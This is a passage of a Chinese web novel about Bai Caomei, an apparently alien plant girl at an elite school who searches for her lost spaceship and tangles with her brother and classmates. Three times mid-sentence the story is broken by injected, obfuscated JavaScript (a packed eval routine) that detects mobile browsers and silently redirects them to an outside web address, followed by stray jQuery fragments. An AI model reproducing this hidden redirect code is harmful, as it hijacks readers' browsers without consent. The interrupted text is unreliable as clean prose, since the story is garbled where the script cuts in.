白草莓眨了眨眼睛,迟疑了两秒钟,继续真诚地回答:“我的,飞——船——。宇宙飞船,你懂吗?”
陈序这下是真的懂了,掏出手机,二话没说把刚刚的三百退了回去。
他就是再缺钱也有原则,不能坑白草莓这种人的钱,赚这种钱比偷还丢人。
要是陈序手头宽裕,照他的性子,碰见白草莓还得往里头再倒贴三百块钱。
不过说实话,陈序接了这么多单,白草莓是唯一一个能从他这里原封不动拿回全部退款的。
白草莓愣住:“你为什么把钱退回来了?你不打算帮我了?”
“笨蛋,你要找飞船诶,我怎么帮?我现场给你手搓一个好不好?”
“真哒?太好了!”
“……”
陈序掏了掏兜,摸出张皱巴巴的十块钱,塞进白草莓的手心里:“给自己买点核桃吃,补补。”
白草莓展开一看,还以为是陈序送她的礼物,笑眯眯地收下了:“谢谢你。”
忙碌一场倒贴十块,陈序以后不接白草莓的单了。
4. 4
白草莓顶着众人异样的眼光翻了两天垃圾桶,一无所获。
今天好不容易说服自己,摩拳擦掌准备大干一场。谁晓得刚进校门,她就被陈序逮住给提溜到班级门口。
白草莓原本还想抗争一下的,但是陈序亮出跟她哥的聊天记录。
“收钱办事。白澜亦让我监督你不许搞破坏。有我在,你别想着往外跑。”
白草莓叉腰吸了口气,趁陈序不注意就要往外钻。
但她往左,陈序立马就往左,她往右,陈序也往右,把她挡得结实,而且陈序个子高,一步抵她两步,根本跑不脱。
碍于他们俩僵持着,杨筝抱着一摞地图册被挡在门外,她瞥了眼白草莓,随后目光落在陈序身上,眉心舒展,轻轻说:“同学你好,借过一下可以吗?”
陈序捏着白草莓衣角往后退,两人一起给女生让了路,空气中爆发出一股厌恶的气息,浓烈极了。
白草莓浑身一抖,她不想失去朋友,仰头看陈序,妥协道:“你别生气,我进去。”
陈序眉尾微跳,不清楚白草莓又搞什么名堂,歪头示意她进教室。
白草莓只好拔起沉重的腿往教室里走。
许缨今天早晨才从外地赶回来,手底下忙着补这些天的卷子。
白草莓就这样失魂落魄地进门,像拖着副空躯壳在她眼前游荡。
许缨抽空看了眼,调侃她:“这不是我们草莓嘛,几天不见,我看你都要超过你哥成学校的风云人物了。”
白草莓摇摇头,那还是比不过白澜亦的,他一出面,至少能吸住二十双眼睛紧紧跟随。
她蹲在许缨旁边把自己蜷成一团,难过极了:“许缨,你知道在地球上丢了东西应该怎么做吗?”
“告诉老师,”许缨随手揉了把她的头发,翻过下一张卷子,接着说:“或者报警。”
白草莓蹲在她脚边想了很久,拨出报警电话之前,又想起来前些天陈序的态度,指头捏住许缨的裙摆轻轻扯了两下问:“飞船也行吗?”
结果当然是,不行。
许缨放下试卷,捧住白草莓的脸颊左看右看,不放心地问:“你这周的药吃了吗?”
她担心白草莓说完胡话之后又犯病。
白草莓点头,随即无力地抱住自己,为什么一说到宇宙飞船地球人就是一副“你真没事吧”的表情,看来这件事是没办法求助他们了,还得她自己来。
许缨见她不说话,情绪也不高的样子,摩挲着笔尖思考怎么让白草莓开心起来。
“草莓,周五跟我一起去逛街吧,商超里开了家小吃店,我好想去尝尝。”
逛街?
又是新奇的词汇,白草莓自打来了地球几乎是家和学校两点一线来回跑,外面的世界啊——
“好啊!”白草莓终于露出个笑来,“正好白澜亦也不在家。”
上午第一节课是地理,学术用语和专有名词、地名山名气候名像一颗颗石子敲在脑袋上,白草莓头疼地撑起半张脸,不明白人类为什么要坐在这里自讨苦吃。
“今天发的地图册都拿到了吗?”地理老师推了把鼻梁上的黑框眼镜。
白草莓抽出地图册,给自己加油鼓劲,回应道:“拿到了。”
老师垂下头翻开自己手里的:“翻到倒数第四页,观察这个世界地图……”
“啊呃——”
齐刷刷的翻书声里,一道惊恐的呼声吸引了所有人的注意力。
一只扁平厚甲长触须的红褐色昆虫飞快从白草莓的地图册里冲出来,爬上她的手臂,嚣张地摇动两条触须。
“你的书里怎么会有蟑螂啊!”
白草莓看着紧张的许缨,环顾四周,同学们个个如临大敌,空气里充满了不安的冰凉味道。
她低下头,目光落在手背光滑的昆虫身上,眼神微暗:“它是害虫吗?”
“没错没错,还会咬人!”
许缨手里捏着地图册挡在脸前,另一只手攥起尺子挥舞,试图帮白草莓挑走虫子,嘟囔了句:“不是才消杀过吗,它是从哪儿来的?”
白草莓轻轻吐气,一把按住逃跑的蟑螂,稳稳攥在手心,弯唇微笑:“放轻松,危险消失啦。”
“呼——”同学们纷纷松口气,安心回到自己的座位上。
没想到白草莓看着单纯无害,实则如此生猛,敢徒手抓蟑螂。
地理老师见蟑螂危机轻易化解,推了把眼镜,嘱托:“白草莓,把蟑螂丢出去。”
白草莓依言照做,许缨递给她一张湿巾擦手消毒,酒精擦过手心,传来细微的刺痛,她仔细盯着看了半天,发现是被蟑螂腿上的触角划伤了。
“白草莓,回神了。”
地理老师推了把眼镜,敲了敲地图册。
“把注意力集中在世界地图上,免得出去旅游你都不知道当地有什么特产。”
白草莓连忙翻开地图册,上面不同的颜色代表不同的国家,粗略一看数量还不少。
地球人真奇怪,明明都是人,为什么还要分这么明白。不过她听着听着,觉得还挺有意思。
好不容易挨过上午的课,许缨拉着白草莓往食堂走。
别的学生一下课都恨不得插上翅膀飞去食堂大吃一顿,只有白草莓走两步一回头,流连空地上温暖的阳光。
端着餐盘排队的时候,白草莓又闻到熟悉的厌恶味道,但环视周围,没看见陈序。
左耳朵里是许缨掰着手指头记自己想吃的菜,右耳朵里传来两个人的窃窃私语。
A:“就是装傻。你看她平常稀里糊涂,唯唯诺诺,抓蟑螂倒是一点都不怕。”
B:“咱们学校定期消杀,之前哪儿看过蟑螂啊,我看那只就是被她带进教室,谁让她有事没事就去翻垃圾桶。”
A:“诶,不过我听说她哥是白澜亦。”
B:“怎么可能,是她给自己立的人设吧?白澜亦走路从来都目不斜视,跟她同框也没例外。”
白草莓循着声音看过去,正好与半捂着嘴巴的杨筝对上视线。
杨筝猛地一颤,随后看了眼两人的距离,欲盖弥彰地放下手整理头发:“等会儿再聊,她盯着我看呢,也不知道有什么好看的。”
杨筝确实挺好看的,头发茂盛,圆嘟嘟的,看着就养分充足。
白草莓收回目光,手指在餐盘上摩挲,为什么她胸口有点闷闷的?
“草莓草莓,你吃什么?今天有菠萝咕咾肉,试试吗?”
许缨牵白草莓的手摇了摇,白草莓看着她扬起个笑说:“行。”
没有想通的事情被抛到脑袋后面,白草莓依旧快快乐乐,度过周五下午的活动课。
许缨挂在走廊明亮栏杆上等白草莓。
白草莓今天特地跟刘管家交代过,她要跟许缨出去逛街,晚上自己回家不用刘管家来接。
刘管家虽然放心不下白草莓,但想到为了安全,她的手表里一直都有踪迹软件,不会出什么问题。
正好白澜亦来消息说提前结束了比赛,刘管家得去机场接白澜亦。
白澜亦这次是去国外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004418|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参加物理奥林匹克竞赛,成绩四周之后才能有结果,他在国外吃不好睡不好,身心俱疲,不想多待,一结束就马不停蹄赶回来了。
刘管家看出白澜亦的疲惫,见他一上车就蒙着头睡了过去也就没有打扰。
行至半路,白澜亦接了个电话,他对那头的态度很不好,说着说着就要吵起来的样子,大概率就是他爸了。
“行了,我马上就是成年人,我对我的所有选择负责,收起你自以为是的说教。”
说完,不等对面人反驳,白澜亦挂电话关手机一气呵成,搓了搓脸颊,颓然靠在靠背上看窗景,看着一私的校门从眼前滑过,他半晌才意识到不对。
“刘叔,白草莓呢?”
*
白草莓到家的时候心情大好,拎着大大小小的袋子蹦蹦跳跳,哼着从商店里新学来的流行歌。
刘叔站在石头小路上浇花,替白草莓打开大门,还收到了她送的叶子画。
看她这么开心,他抬头看了眼黑洞洞的小洋楼,叫住白草莓说:“小姐,少爷回来了。”
他原意是想提醒白草莓谨言慎行,免得跟白澜亦起冲突,谁知白草莓一听更高兴了,三步并作两步推开大门,跑了进去。
其实白草莓一进门就察觉到不对劲,客厅里没开灯,月光被稀疏树叶一挡,再从玻璃窗里照进来,灰暗压抑。
冰冷潮湿的荷尔蒙气味铺满了屋子的每一个角落,白草莓清楚,是白蓝莓不开心,非常不开心。
“去哪儿了?”
白澜亦的声音从楼梯上传过来,听着平淡干净,但在白草莓耳朵里,其中还夹杂刺骨的碎冰。
他坐在楼梯上,楼梯都像是成了珍贵的王座。
白草莓笑了笑,小跑上了楼梯,到他跟前去,摊开手,露出一块涂鸦过的石头:“我跟朋友去逛街了,喏,这是送你的礼物。”
白澜亦若不可闻地叹了口气,歪头扫了眼白草莓,抬手打掉那块石头,语气不好:“我请你,在学校翻翻垃圾就算了,不要把它们往家里带。”
白澜亦身上充斥着灰败、无措、难过、无法言说的复杂情绪。
她没跟白澜亦计较,反而把石块捡起来重新递给白澜亦,他不接,白草莓也不强求,在他身边坐下,石头放在二人中间,为自己精挑细选的礼物正名。
“这可不是垃圾,我是从一个艺术家那里买的。”
白澜亦呛她:“你知道什么是艺术家吗?”
白草莓撕开包装袋,塞了根短糖葫芦在他手里:“不知道,但是不知道就不能买吗?”
白澜亦没说话,双手撑在膝头,盯着那根挂着剔透糖晶的草莓糖葫芦沉思。
静默持续了很久。
白草莓突然开口,一语中的:“你是不是跟爸爸吵架了?”
白澜亦皱眉,狠狠咬下一块糖葫芦说:“闭嘴。”
白草莓转头看了他一眼,也没说话,又转过头去仔细品味糖葫芦。
两个人并肩坐在楼梯口,清冷的月光洒下来,冰凉的氛围逐渐消散。
白澜亦把空签子捏在手里,酝酿了半天终于没话找话:“听说你在学校里翻垃圾桶?干什么?”
“找我的飞船。”
“哼。”白澜亦冷笑一声,扯了下嘴角定下规矩:“以后不许再翻垃圾桶,也不许再说找飞船这种话。”
白草莓反问:“为什么?”
免得别人把你当成神经病,抓进医院里关起来。
白澜亦言不由衷,依旧是冷言冷语:“丢人。”
5. 5
白草莓凑近白澜亦闻了闻,平淡温代替了刚才潮湿冰冷的气味,放心笑笑,又叫了声:“蓝莓。”
白澜亦皱着眉头瞥她一眼。
“如果我不去翻垃圾桶的话,有没有其他办法找到我的飞船?”白草莓不熟悉地球,每次一提到找飞船他们个个都变得好奇怪,害得白草莓也不知道该不该提这件事。
白澜亦哼笑,敷衍地说:“说得好像你真有个飞船似的。”
“真的啊,扁扁的,薄薄的,大概那么大,”白草莓伸手比划了半个客厅,说得煞有其事:“跟披萨很像。”
白澜亦淡漠的眼神落在白草莓身上,无奈把她上下打量过,低声嘟囔了句“算了,计较什么”。
他嘴角极轻地勾起来,问:“你真想找到那个披萨飞碟?”
白草莓狂点头,手里忽然被塞进一本红皮单词书。
“这么诚心的话,就先把这本书吃透吧。”
*
很奇怪。
白草莓今天很奇怪。
许缨三根指头支起下巴,看白草莓捧着词汇书埋头苦读简直大为震惊。
她伸过头一看,呦,还是大学英语四级词汇,这书指定不能是白草莓的。
“诶,你这周的药喝了吗?”许缨敲敲白草莓的课桌,这话问出来有点损,但认真读书真的不是白草莓一贯作风。
白草莓也这么认为,揉揉眼睛,刚刚那么用力地盯着书,差点把一棵植物逼出生理眼泪。
她按着书脊,一手拍拍胸脯说:“喝了,而且我感觉我的精神力在逐渐恢复,力气都比从前大了。”
“别别别,身体恢复就好,你的力气……还是别涨了。”许缨连连摆手,她怕自己第一个遭殃。
“不过你为什么想起来背单词了?总不会是什么新的后遗症吧?”
白草莓摇头,她只是记得昨晚上白澜亦给的主意。
“蓝莓说飞船是很稀缺的高科技,只有顶尖科学家才可以接触到,我要找的飞船更高级,得成为顶顶尖科学家才行。”
“他还说,要成为顶顶尖科学家就得把这本书、这一抽屉,还有书房里一柜子的书都吃透就好了。”白草莓郑重地往桌上又码了两本。
许缨内心里暗暗朝白澜亦竖了个大拇指,不愧是白草莓她哥,拿捏还是他会拿捏。
“但是,那本红书很厚,闻着不好吃,我还是从这本轻的下嘴吧。”
说完,白草莓拿着物理书就往嘴里塞。
许缨眼疾手快把她拦下来,敢情刚才她不是在学习而是在考虑从哪儿下嘴啊?
许缨往白草莓面前拍了本语文书,顺了顺她的头发:“你还是先看这本吧,学学地球顶级语言艺术。”
白草莓郑重翻开一页,勉勉强强把第一行字给认全:晋侯、秦伯围郑,以其无礼于晋,而贰于楚也。*
“地球语言果然深奥,我得好好学。”
白草莓调动自己全身的力气,触须按在书上企图摄取知识的魂灵,两只眼睛恨不得贴上书页,让晦涩的语言直接通过心灵的窗户直达脑海。
一节课下来,白草莓累得脸颊通红,连带着触须都失去所有光泽,趴在桌面上由衷吐出二字箴言:“甚累。”
她的脸颊压在书本上,扭成了悲伤的形状。
课桌前投下一块阴影,化学老师把贴纸放在白草莓跟前,夸奖道:“白同学很不错啊,老师看你一节课注意力都非常集中。”
“谢过夫子!”
白草莓惊喜睁大眼睛,捧着3D立体的卡通贴纸仔细研究。
年轻的女老师苦笑,往白草莓手臂下瞥了眼,摸了摸她的脑袋,没有揭穿。
许缨伸手敲敲白草莓的脑袋:“你说话怎么又文绉绉的了?”
白草莓把贴纸揣进口袋里,眼睛亮亮的,问许缨:“何出此言?”
“呐呐呐。”许缨抓住白草莓的小马脚,把她的头发揉得乱糟糟:“你学得挺快啊,都知道‘何出此言’了。”
“许缨!”白草莓被揉得咯咯笑,等许缨收回手,她趁机扑上去反击。
“砰!”前面一道拍桌子的声响传过来,杨筝手里握着笔,扭头满脸怒气:“吵死了!”
白草莓挂在许缨背上不敢动弹,等杨筝喘过几口气后她才怯怯地说:“抱歉。”
杨筝将笔重重拍在桌子上,转过头生闷气。白草莓吵闹她生气,不吵了也生气,跟她道歉她更生气。
明明是白草莓先做错事,影响别人学习,用这种语气说话,显得像是她在无理取闹、没事找事一样。
白草莓滑下来,靠在许缨耳边悄咪咪地问:“她怎会如此?”
“不知道诶。”许缨挪着脚往外面走,白草莓垫着脚跟她一起走,想起来前几天在食堂也碰见了杨筝,那时候空气的味道跟现在差不多。
白草莓又问:“是不喜欢我?”
许缨瞥了下嘴,一把牵住白草莓的手,紧紧握住:“怎么会!你性格这么软,没人会不喜欢你的。再说了,你跟她又没有交集,管她喜不喜欢。”
说得有道理,不过没等白草莓消化这种情绪,许缨拉着她的手往活动教室走。
“别想那么多啦,咱们国际部等会儿是烘焙课,见不到她你就忘了。”
提到烘焙,白草莓一下子就忘了刚才的小摩擦,烘焙课上总是教些香香软软小蛋糕的做法,也不知道今天会做什么东西。
嘿嘿,到时候可以多做一点,带回去给蓝莓尝尝。哎,当本部的学生可真辛苦。
本部学生的辛苦可不是说说的。一周五天排满了课不说,活动课的时间也是寥寥,还会出现拖堂、假期补课的情况。
而且听说高二之后本部和国际部会隔开重新分班,到时候身边都是同色领结的同学,红领结大多拓展人脉,蓝领结埋头努力学习。
要是进了本部的班级,不管你是不是真心愿意,也会被氛围裹挟着往上爬,拿一个好排名申学,又或者争一个竞赛名额。等他们刷完一沓竞赛题累得头昏脑涨,想要放松心情出去转转的时候,发现天之骄子的红领结们早就在操场上愉快地进行篮球赛。
努力的人付出双倍努力为了打败努力的人,轻松的人轻轻松松就能过轻松的人生。
可惜这些事情对现在的白草莓来说太深奥,她只想着算清楚面和水的比例该是多少才能做出好吃的饼干。
经过两个小时的忙碌,香喷喷的巧克力饼干终于出炉,白草莓摘下厨师帽,深吸了口气,香气在她味蕾和鼻腔上冲撞,鲜活地点来点亮她的灵魂。
地球上新奇的东西还真多,1223上才没有这种能让人的触须也沉沦的味道,啊,尝一口,酥酥脆脆的感觉简直比寡淡无味的营养液好上十倍。
要是能把这种小饼干带回1223就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004419|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好了,那些只喝营养液的同伴们也能大饱口福了。
诶,不过植物没有嘴,怎么把饼干嚼碎啊?
白草莓嘴里慢吞吞地嚼着饼干,脑袋里思考着“困扰”1223众植物千百年的难题。
“草莓,下课了,发什么呆呢?”许缨打包好饼干,路过白草莓轻轻撞她一下。
白草莓回过神来,学着她的样子装好饼干:“无事。”
白草莓似乎确实是哪根弦又搭错了,自从看了语文书之后,说话一直都是这种风格。
许缨观察她半晌,没发现脸颊变红之类的症状,稍稍放心,说:“草莓,我老爸今天回家,我得先走。高二好像在周测,你还是管家来接吗?”
高二在周测,那白澜亦就是得考到六七点才能放学了。
白草莓装好饼干,想了想:“我等蓝莓。”
许缨放心跟她说了再见,欢快地跑出了教室。
白草莓拎着饼干盒在操场上绕圈,又蹲下来打量缩小版的植物克星蜗牛缓慢移动,帮路边老树松了松土,数了二百四十一只蚂蚁路过她脚边。
再抬头,高二周测终于敲响了结束铃,学生蜂拥而出。
白草莓看见白澜亦,第一时间把手里的饼干递上去:“蓝莓,这是我今天……”
白澜亦还是那副冷冰冰的模样,看见她手里的东西脚步微顿,刚想说什么,兜里突然响起手机铃声。
白澜亦看见来电,浑身立刻爆发出一股汹涌的激动气息:“什么物质?行,知道了,马上到。”
他挂了电话,看了眼白草莓:“东西自己留着吧,我不需要。”
说完,他一边飞奔一边给刘管家打电话:“刘叔,送我去C市,对,就现在。”
白澜亦匆匆离开,白草莓看着他的背影消失,愣愣地伸手按住胸口。
这种胸闷的感觉跟今天上午很像,但又有哪里不一样,白草莓说不出来,或许在地球待的时间久了,她就清楚了,还是先回家吧。
白草莓沿着花坛往外走,一步一步慢吞吞的。以往上学放学都坐在车上,她很少看见校门外的场景。
没想到夜色深沉,路灯明亮,来来往往的学生说说笑笑,她闻着风里飘过来的甜味,是食物跟情绪混在一起的独特气息,白草莓畅快地呼了口气。
就这么走回家其实也不错嘛。
一路上白草莓情绪高昂,跟绿化带打招呼,又跟景观树比身高,她最近精神力有所恢复,能听见这些植物细微的呼吸声。
要是持续好转的话,应该很快就能跟它们沟通了,再加上那些高端地球知识,一定用不了多久就能找到披萨飞船了。
到那时候,“白草莓回家计划”就可以顺利实施啦!
白草莓心情愉快,不知不觉在各位植物同伴的引领下来到一处小巷。
小巷子里唯一的光源就是白草莓身后的路灯,可惜被半人高的楼梯挡了大半,里面暗沉沉的。
白草莓走上台阶,触须嗅到一股无法描述铁腥味,味道里包裹着很浓的痛苦和不甘心,她没有探测到危险信号,只是觉得味道的发出者应该遇到了危险。
白草莓凑在楼梯边探头探脑,人影突兀的从楼梯阴影上冒出来,暗处的人受惊瑟缩了一下。
“喂。”白草莓跳下楼梯,蹲在嘴角青紫的陈序跟前,跟他异口同声。
“你怎么在这儿?”
6. 6
“你不回家,到小巷子里干什么?不知道危险吗?”
陈序一腿蜷起坐在阴影当中,背靠着潮湿墙壁,肩头防备地弓起,声音发颤。
仔细一看,他校服领口被扯得凌乱,领结不知所踪,高挺鼻梁上沾着灰迹,嘴角青紫还渗着血。
“不知道。你痛吗?”
白草莓没嗅到危险的味道,摇了摇头,戳了下陈序肩膀,他立刻疼得蹙起眉心,一把拨开白草莓的手,说:“别碰我。”
语气又冷又硬,对白草莓的态度也跟平常判若两人。
白草莓都要怀疑眼前的陈序不是陈序了,她背着手,屏住呼吸凑近看他脸色,企图找出一点端倪。
清爽的甜香凑近陈序,白草莓那张脸庞单纯无害,眼神清澈懵懂。
她是温室里娇养长大的鲜花,上有爸妈运筹帷幄,下有哥哥保驾护航,她知道疼是什么滋味吗?
陈序刚刚经历过一场狂风骤雨的拳脚之争,在最阴暗最丢脸最应该一个人默默舔舐伤口、安静消化的时候,被不谙世事的千金小姐用怜悯的目光望着,连仅有的脸面也差点破碎。
他痛,他头痛肩痛心里头更痛,他每时每刻都在痛,他痛得快要死了。
但是说这些有必要吗?
白草莓不懂,也没必要懂。
陈序闭上眼睛,头偏向一侧,沉声说:“你走吧,走啊!”
冷硬的话里透露出一丝恳求,极细微的气味变成触须探到白草莓跟前,直白清晰,混和着苔藓的清湿气,多少有点冰凉苦涩的感觉。
白草莓不清楚他为什么突然是这种态度,但如果陈序希望她离开,她会照做。
“好。这是我在课上做的饼干,你尝尝。”
饼干盒轻轻放在陈序手边,脚步声沙沙响起,又哒哒哒平稳地走远了。
过了很久,陈序才肯把眼睛睁开,目光落在四四方方的饼干盒上,又挪开眼。
他大概清楚今天晚上搞暗算的人是谁。
他在国际部那群人中间充当传声筒,拿钱放狠话是常有的事,但不是所有人都像白澜亦那么简单粗暴,有些不敢招惹放狠话的人,只敢逮着他一个穷学生报复。
等高二就好了,陈序这么安慰自己。
高二就有多余的竞赛名额给他了,多参赛拿奖他就不用在这些人身上浪费时间,他就能攒更多钱建实验室制药。
到那时候,奶奶的病也有希望了。
会好起来的,一切都会好起来的。
陈序自我疗愈结束,手指撑在墙壁湿漉漉的苔藓上站起身,不小心踢翻了饼干盒。
饼干盒倾倒发出很结实的声响,白草莓把里头塞得满满当当。
……反正这里很少有人来,饼干留着也是浪费,不如带回去当早饭。
陈序指尖收紧,说服了自己,弯腰把盒子捡起来揣进口袋,提着书包深一脚浅一脚往路灯底下走。
下了公交车走过一条黢黑的巷子,就来到栋破败灰暗的旧小区,楼层不高,各自依势高低错落,晾衣架却统一,枝杈似的探出来,挂着洗得褪色的衣物。
陈序扶着吱嘎吱嘎响的楼梯上了三楼,奶奶早就听见动静,坐在门边的木椅上等他上来。
看见奶奶日复一日守着昏黄的台灯等自己回来,陈序强撑着扬起嘴角,露出个深藏苦涩的笑来:“奶奶,天要凉了,不用在门口等,我带了钥匙。”
奶奶摸索着牵住陈序的手,手指粗糙枯瘦,笑起来的皱纹像是老树的皮,都是岁月留下的痕迹。
“哎呀,楼道里的灯坏了好久了也没人修,奶奶当然要等乖孙平安到家才放心啊。”
陈序揽住她的肩膀,反手锁好了门:“你腿脚不好,病也没治好,要是因为等我出了什么事,我才要担心死了。”
奶奶哦呦呦的笑了两声,端出给陈序热好的汤:“小序啊,你今天回来的晚,奶奶把骨头汤重新热了,快喝,还在长身体呢。”
陈序坐在矮桌前捧着汤,百感交集:“奶奶,我一定会治好你的病。”
奶奶在他身边坐下,慈祥地笑了:“奶奶相信小序。就算治不好,奶奶也很高兴能早点见到你爸妈。”
陈序埋怨地叫了声“奶奶”,奶奶立刻拍拍他的肩膀安抚道:“不说这种话,奶奶为了小序也要活到两百岁。”
话这么说了,但奶奶还是低低地嘟囔了句:“要是你爸妈还在就好了。”
陈序不想牵扯出伤心事,闷头喝汤不说话。
月光从窗棱里照进来,水一样沉静,所有的心事都塞进月光里,交给外星人去解决吧。
白草莓趴在书桌前打了个喷嚏,揉揉鼻子,翻开今天没学完的单词书,第一个词就不认识。
“啊,要是蓝莓在就好了,他成绩那么好,一定肯教我的。”
可惜现在的白澜亦正在数百公里外的省份,学习还得靠白草莓自己。
“a-b-a-n-d-o-n,”白草莓缓缓拼出单词,跟着电子屏读了一遍:“abandon,动词,放弃、抛弃、遗弃。”
白草莓摇头,给自己加油鼓劲:“坚强勇敢的1223星飞船驾驶员纱拉荞永不言弃!我一定要找到飞船,不抛弃任何同类!”
感谢单词书,感谢abandon,让白草莓这个木头人终于坚定了读书的心思,要是知道她愿意读书受教育,白澜亦大概也会对天长舒一口气。
此刻的白澜亦来到间地下实验室,满屋昂贵的精细仪器紧凑地摆了一排,耗材凌乱地摆在另一侧走道。
实验室正中间弓腰站着个戴防护眼镜的年轻人,听见动静,头也没抬,随便招呼了句:“来了?”
尽管算是合伙人,但白澜亦对米清也没什么好脸色,套上门外留给他的实验服推开门:“你说的东西最好真有价值,要是敢消遣我,下个月经费你就自己解决吧。”
米清这败家玩意要是没了白澜亦拉来的经费支持,研究过不了半个月就要夭折。
尽管如此,他还是慢条斯理滴完了试剂,反损:“白老弟这么刻薄,情商点是不是都给了智商啊?”
该说两个人不是一路人走不到一起来,实力相当。
米清微眯着眼,笑盈盈看着白澜亦走到他跟前坐下,从兜里摸出个3cm的密封袋递过去:“新发现——外星土壤。热乎的,刚收到。”
白澜亦接过密封袋细看,里面有近乎于无的灰白尘埃,比起土壤更像是某种塑料颗粒。
他怀疑地抬眼,质问米清:“你又骗经费?”
米清苍白地申辩:“大哥,这回真是我欠了天大的人情才搞来的。”
因为他有“前科”,白澜亦的眼神还是不信任,米清只好举手发誓。
“小道消息说地球前几年有外星人到访,飞船离奇消失,就剩垫毯上的这点碎屑。幸好航天局研究得有点眉目了,不然连这么一点点都漏不下来。”
白澜亦扫了眼米清,弹了弹密封袋:“开工。”
*
周三的天灰蒙蒙的,云聚成大团垂在半空中,空气也湿漉漉的,小飞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004420|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虫绕着屋檐打转,看这样子随时会下雨。
白草莓趴在微凉的栏杆上,学着许缨的样子探出手感受细风,神情很享受,但她还是更喜欢晴天。
“白草莓。”
白草莓歪头,陈序脸上的伤只剩一点点青紫,不细看就容易忽略,他站得笔挺,略微有些局促,手里捏了本笔记,递给白草莓。
“听说你学英语有点困难,这是我初学时候的笔记,借你。我不欠别人人情,算是谢谢你那天的饼干。”
白草莓眼眸明亮,接过来背在身后,“饼干好吃吗?”
陈序眨了下眼睛,他印象中白草莓的关注点始终跟别人不一样,但这次他清楚,白草莓只是单纯想知道饼干的味道。
“还行。”
许缨在旁边看了半天热闹,等陈序一走就抽走白草莓手里的笔记本翻看。
陈序留着短发,看起来凶,像个校霸,但是笔记一翻开,里面的字迹工整,红蓝黑三色笔有条不紊地记下所有重点。
不过也是,陈序都是能进本部的人了,智商肯定只有下限,没上限。
许缨把笔记还给白草莓,一把勾住她的脖子调侃:“你什么时候跟他这么熟了?还借笔记给你。”
白草莓捧着卷边的笔记摩挲,不明所以:“我们一直都是朋友啊。”
要不是许缨也是他们初相识的见证者,她都要被白草莓这双眼睛给糊弄过去了,用指头在白草莓侧脸上戳了两下。
“你啊,只见过一面就敢跟人家当朋友,我真怕你哪天被所谓的朋友骗去数钱。”
白草莓竖起一根指头:“你排第一,我可以先帮你数。”
许缨哭笑不得,按下白草莓指头:“算了吧,我用不着数钱。不过我听说陈序家里挺困难,你要是有什么需要帮忙的情况,可以请他帮忙。”
白草莓头一次听说这种情况,指尖在笔记上轻敲,思考着:“他确实说过很缺钱,不过……”
“咳咳,”杨筝怀里抱了几本笔记,发出声响吸引了两人的注意力。
她眉心紧锁,浑身散发出一股浓烈的火气,白草莓不由得往后退了一步。
“不要再说了,你们国际部的学生都该多点同理心,不要在大庭广众下讨论别人的苦难,本部大多数是没你们有钱,但我们尊严,你们有几个……”
杨筝意识到说得太多,截住话头,但她的心声隐约飘进了白草莓的耳朵里。
有几个臭钱了不起啊?
白草莓面对杨筝胸口又开始闷起来,她低头沉思,是该了不起,还是不该了不起。
许缨身为本地人当然能明白杨筝的阴阳怪气,一时间挺身站在了白草莓身前。
“杨同学,搞歧视你也是有一套啊,道德绑架、自我拉踩,好话歹话全都被你说了呗?还‘你们国际部’,我们国际部就该被你指着鼻子骂?”
杨筝面对战斗力max的许缨一下子没能反驳,逐渐被对方占了上风。
“既然你代表本部谴责我,那我能说……本部的学生素质也不过如此吗?”
许缨笑眯眯地在杨筝最引以为傲的身份上捅刀,把她逼出几句“你”,但是再也没找到辩驳的机会。
许缨拉着白草莓离开,语气里带着笑:“走,咱们不跟这种人计较,去看看下周的跳蚤市场卖什么。”
白草莓看了这样一出,似乎点亮了什么天赋点,胸口堵住的地方也通畅了,重重点头,又转头冲杨筝做了个鬼脸。
看着她跳脚的模样,白草莓只想说,爽。
7. 7
许缨口中的跳蚤市场就是绿江一私三个月一次的开放日,学生们可以在操场支个小摊自由交易,培养商业头脑。
这活动自由度很高,可以出售自己的闲置也能随机淘到好东西,这还是白草莓第一次参加这种活动。
许缨也没经验,两个人讨论了好久都没决定卖点什么。
幸好今天白草莓在食堂里碰见了孤零零的白澜亦,他肯定参加过很多次,至少能给点意见。
白草莓欢快地蹦到白澜亦跟前,语气希冀:“蓝莓,你都在跳蚤市场卖过什么?”
白澜亦猛地一跳,有些绝望地闭上眼睛。
他在实验室里听米清喋喋不休了两天,耳膜被吵得生疼,回来了见着跟他一样能说的白草莓,脑袋都要炸了。
白澜亦伸出两根指头把她的嘴巴推向另一边:“我从来不参与这种活动,没营养。”
白草莓察觉到白澜亦不耐烦,哦了一声,正打算离开,却嗅到了熟悉的味道。
她慢腾腾地挪步,一步三回头,这些天在地球上接触了太多新奇复杂的味道,把脑袋搅得像团浆糊,还真没想起来到底为什么熟悉。
